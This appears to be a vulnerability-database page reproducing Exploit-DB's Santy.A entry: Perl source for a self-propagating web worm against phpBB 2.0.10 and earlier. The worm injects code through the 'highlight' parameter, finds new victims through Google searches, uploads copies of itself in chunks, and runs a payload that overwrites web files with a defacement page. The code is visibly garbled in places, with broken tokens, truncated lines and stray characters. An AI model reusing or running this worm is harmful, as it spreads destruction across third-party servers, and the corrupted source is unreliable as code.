phpBB < 2.0.10 - 'Santy.A Worm' 'highlight' Arbitrary File Upload

phpBB < 2.0.10 – ‘Santy.A Worm’ ‘highlight’ Arbitrary File Upload

漏洞ID	1054841	漏洞类型
发布时间	2004-12-22	更新时间	2004-12-22
CVE编号	N/A	CNNVD-ID	N/A
漏洞平台	PHP	CVSS评分	N/A

|漏洞来源

https://www.exploit-db.com/exploits/702

|漏洞详情

漏洞细节尚未披露

|漏洞EXP

#
# Santy.A - phpBB <= 2.0.10 Web Worm Source Code (Proof of Concept)
# -SECU For educational purpose
#
# See : http://isc.sans.org/diary.php?date=2004-12-21
# http://www.f-secure.com/v-descs/santy_a.shtml
#
#!/usr/bin/perl
use
strict;
use Socket;

sub PayLoad();
sub DoDir($);
sub DoFile ($);
sub GoGoogle();

sub GrabURL($);
sub str2chr($);

eval{ fork and exit; };

my $generation = x;
PayLoad() if $generation > 3;

open IN, $0 or exit;
my $self = join '', <IN>;
close IN;
unlink $0;

while(!GrabURL('http://www.google.com/advanced_search')) {
if($generation > 3)
{
PayLoad() ;
} else {
exit;
}
}

$self =~ s/my $generation = (d+);/'my $generation = ' . ($1 + 1) . ';'/e;

my $selfFileName = 'm1ho2of';
my $markStr = 'HYv9po4z3jjHWanN';
my $perlOpen = 'perl -e "open OUT,q(>' . $selfFileName . ') and print q(' . $markStr . ')"';
my $tryCode = '&highlight=%2527%252Esystem(' . str2chr($perlOpen) . ')%252e%2527';

while(1) {
exit if -e 'stop.it';

OUTER: for my $url (GoGoogle()) {

exit if -e 'stop.it';

$url =~ s/&highlight=.*$//;
$url .= $tryCode;
my $r = GrabURL($url);
next unless defined $r;
next unless $r =~ /$markStr/;

while($self =~ /(.{1,20})/gs) {
my $portion = '&highlight=%2527%252Efwrite(fopen(' . str2chr($selfFileName) . ',' . str2chr('a') . '),
' . str2chr($1) . '),exit%252e%2527';

$url =~ s/&highlight=.*$//;
$url .= $portion;

next OUTER unless GrabURL($url);
}

my $syst = '&highlight=%2527%252Esystem(' . str2chr('perl ' . $selfFileName) . ')%252e%2527';
$url =~ s/&highlight=.*$//;
$url .= $syst;

GrabURL($url);
}
}



sub str2chr($) {
my $s = shift;

$s =~ s/(.)/'chr(' . or d($1) . ')%252e'/seg;
$s =~ s/%252e$//;

return $s;
}


sub GoGoogle() {
my @urls;
my @ts = qw/t p topic/;
my $startURL = 'http://www.google.com/search?num=100&hl=en&lr=&as_qdr=all' . '&
q=allinurl%3A+%22viewtopic.php%22+%22' . $ts[int(rand(@ts))] . '%3D' . int(rand(30000)) .
'%22&btnG=Search';
my $goo1st = GrabURL($startURL)
fined $goo1st;
my $allGoo = $goo1st;
my $r = '<td><a href=(/search?q=.+?)' . '><img src=/nav_page.gif width=16 height=26
 border=0><br>d+</a>';
while($goo1st =~ m#$r#g) {
$allGoo . = GrabURL('www.google.com' . $1);
}
while($allGoo =~ m#href=(http://S+viewtopic.phpS+)#g) {
my $u = $1;
next if $u =~ m#http://.*http://#i; # no redirects
push(@urls, $u);
}

return @urls;
}


sub GrabURL($) {
my $url = shift;
$url =~ s#^http://##i;

my ($host, $res) = $url =~ m#^(.+?)(/.*)#;
return unless defined($host) && defined($res);

my $r =
"GET $resHTTP/1.01512" .
"Host: $host1512" .
"Accept:*/*1512" .
"Accept-Language: en-us,en-gb;q=0.7,en;q=0.31512" .
"Pragma: no-cache1512" .
"Cache-Control: no-cache1512" .
"Referer: http://" . $host . $res . "1512" .

"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)1512" .
"Connection: close15121512";

my $port = 80;
if($host =~ /(.*):(d+)$/){ $host = $1; $port = $2;}

my $internet_addr = inet_aton($host) or return;
socket(Server, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or return;
setsockopt(Server, SOL_SOCKET, SO_RCVTIMEO, 10000);

connect(Server, sockaddr_in($port, $internet_addr)) or return;
select((select(Server), $| = 1)[0]);
print Server $r;

my $answer = join '', <Server>;
close (Server);

return $answer;
}


sub DoFile($) {
my $s = q{
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD><TITLE>This site is defaced!!!</TITLE></HEAD>
<BODY bgcolor="#000000" text="#FF0000">
<H1>This site is defaced!!!</H1>
<HR><ADDRESS><b>NeverEverNoSanity WebWorm generation }
. $generation .q{.</b></ADDRESS>
</BODY></HTML>
};

unlink $_[0];
open OUT, ">$_[0]" or return;
print OUT $s;
close OUT;
}


sub DoDir($) {

my $dir = $_[0];
$dir .= '/' unless $dir =~ m#/$#;

local *DIR;
opendir DIR, $dir or return;

for my $ent (grep { $_ ne '.' and $_ ne '..' } readdir DIR) {

unless(-l $dir . $ent) {
if(-d _) {
DoDir($dir . $ent);
next;
}
}

if($ent =~ /.htm/i or $ent =~ /.php/i or $ent =~ /.asp/i or $ent =~ /.shtm/i or $ent =~ /.jsp/i
or $ent =~ /.phtm/i) {
DoFile($dir . $ent);
}
}

closedir DIR;
}


sub Pay Load() {

my @dirs;


eval{
while(my @a = getpwent()) { push(@dirs, $a[7]);}
};

push(@dirs, '/ ');

for my $l ('A' .. 'Z') {
push(@d
for my $d (@dirs) {
DoDir($d);
}
}

# milw0rm.com [2004-12-22]

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